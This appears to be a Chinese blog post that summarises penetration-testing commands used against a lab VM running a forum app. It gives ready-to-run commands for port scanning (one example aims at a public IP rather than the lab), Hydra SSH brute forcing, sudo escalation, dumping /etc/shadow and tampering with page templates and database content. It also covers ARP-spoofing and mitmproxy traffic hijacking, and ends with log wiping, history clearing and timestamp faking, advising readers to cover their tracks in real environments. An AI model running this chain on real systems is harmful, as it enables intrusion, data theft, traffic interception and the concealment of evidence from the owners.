渗透测试常用命令速览:从扫描到提权再到流量劫持
在渗透测试中,命令行工具是我们的得力助手。本文总结了我最近在测试虚拟机靶机(IP: 192.168.73.129
)时用到的主要命令,涵盖网络扫描、暴力破解、权限提升、数据修改和流量劫持等环节。每个命令都附带介绍和使用场景,帮助你在类似场景中快速上手。以下内容为连续文本,确保复制到 .txt
文件后保持完整性和可读性。
网络扫描与信息收集
-
nmap -sV -p 端口 IP
介绍:Nmap 是强大的网络扫描工具,-sV
探测服务版本,-p
指定端口。
用途:识别目标开放端口和服务版本,为后续攻击提供依据。
示例:nmap -sV -p 22,25,80,110,443,3306,8080 101.43.26.14
输出显示目标运行 OpenSSH 9.6p1 和 MySQL 8.0.39。 -
nmap -p- IP
介绍:扫描目标所有 65535 个 TCP 端口。
用途:全面探测开放端口,避免遗漏非标准服务。
示例:nmap -p- 192.168.73.129
发现 22 和 8080 端口开放。 -
nmap -sn 网段
介绍:执行 ping 扫描,探测活跃主机。
用途:发现内网中的其他目标。
示例:nmap -sn 192.168.73.0/24
-
arp -a
介绍:显示 ARP 缓存,列出局域网内的 IP 和 MAC 地址。
用途:了解网络拓扑,定位潜在目标。
示例:arp -a
发现网关192.168.73.2
和主机192.168.73.130
。
暴力破解
hydra -L 用户文件 -P 密码文件 服务://IP
介绍:Hydra 是一个密码破解工具,支持多种协议(如 SSH、MySQL)。
用途:尝试弱密码登录目标服务。
示例:hydra -L users.txt -P passwords.txt ssh://192.168.73.129
成功找到yohomi:123456
。
系统访问与提权
-
ssh 用户@IP
介绍:通过 SSH 远程登录目标。
用途:使用已知凭据进入系统。
示例:ssh yohomi@192.168.73.129
-
id
介绍:显示当前用户的 UID、GID 和组信息。
用途:确认登录后的权限。
示例:id
输出:uid=0(root) gid=0(root)
。 -
sudo -l
介绍:列出当前用户可执行的 sudo 命令。
用途:检查是否能提权。
示例:sudo -l
输出显示 root 可运行所有命令。 -
sudo su
介绍:以 root 身份启动 shell。
用途:从普通用户提权至 root。
示例:sudo su
-
find / -perm -u=s -type f 2>/dev/null
介绍:查找具有 SUID 权限的可执行文件。
用途:寻找潜在的提权点。
示例:find / -perm -u=s -type f 2>/dev/null
数据收集
-
cat /etc/passwd
和cat /etc/shadow
介绍:查看用户列表和密码哈希。
用途:提取凭据进行离线破解。
示例:cat /etc/shadow
-
find / -name "*关键字*" 2>/dev/null
介绍:搜索指定文件名的文件,忽略权限错误。
用途:定位敏感文件或项目文件。
示例:find / -name "*.php" -o -name "*.html" 2>/dev/null
找到/home/yohomi/Desktop/Simple_forum/templates/
。 -
netstat -tuln
介绍:列出监听的网络端口。
用途:发现运行的服务。
示例:netstat -tuln
显示 8080 端口监听。
修改网页数据
-
nano 文件路径
介绍:编辑文本文件。
用途:直接修改网页模板或配置文件。
示例:nano /home/yohomi/Desktop/Simple_forum/templates/admin/dashboard.html
-
curl http://IP:端口
介绍:发送 HTTP 请求并查看响应。
用途:验证网页修改效果。
示例:curl http://192.168.73.129:8080
-
sqlite3 数据库文件
介绍:访问 SQLite 数据库。
用途:修改动态网页的数据。
示例:sqlite3 database.db
命令:UPDATE posts SET content = 'Modified by Grok' WHERE id = 1;
流量劫持
-
arpspoof -i 接口 -t 目标IP 网关IP
介绍:执行 ARP 欺骗,伪装成目标或网关。
用途:拦截局域网流量。
示例:arpspoof -i ens33 -t 192.168.73.130 192.168.73.129
-
echo 1 > /proc/sys/net/ipv4/ip_forward
介绍:启用 IP 转发。
用途:支持流量透传。
示例:echo 1 > /proc/sys/net/ipv4/ip_forward
-
mitmproxy -p 端口 --mode transparent
介绍:启动透明代理,拦截和修改流量。
用途:实时篡改 HTTP 响应。
示例:mitmproxy -p 8080 --mode transparent -s modify.py
-
iptables -t nat -A PREROUTING -i 接口 -p tcp --dport 端口 -j REDIRECT --to-ports 新端口
介绍:配置 NAT 规则,重定向流量。
用途:将目标流量导向代理。
示例:iptables -t nat -A PREROUTING -i ens33 -p tcp --dport 8080 -j REDIRECT --to-ports 8080
痕迹清理
-
echo "" > /var/log/日志文件
介绍:清空指定日志文件。
用途:删除登录或操作记录。
示例:echo "" > /var/log/auth.log
-
history -c
介绍:清除当前会话的命令历史。
用途:防止命令记录被查看。
示例:history -c
-
truncate -s 0 /var/log/lastlog
介绍:将文件大小截断为 0。
用途:清除历史登录记录。
示例:truncate -s 0 /var/log/lastlog
-
date -s "时间"
介绍:修改系统时间。
用途:伪造操作时间戳。
示例:date -s "2025-03-27 00:00:00"
总结
这些命令是我在测试 192.168.73.129
(运行 Simple_forum
项目)时用到的核心工具。从用 nmap
扫描端口到用 hydra
暴力破解 SSH,再到提权、修改网页数据,最后通过 arpspoof
和 mitmproxy
劫持流量,每一步都展示了渗透测试的典型流程。在实际环境中,记得根据目标调整策略。如果暴力破解失败,可以转向漏洞利用或流量劫持;获得控制后,善用文件搜索和数据修改命令;最后别忘了清理痕迹。这些命令是基础,结合工具(如 Metasploit)和脚本,能让你的测试更高效。希望这篇速览对你有所帮助!有什么想深入探讨的命令或场景,欢迎留言交流。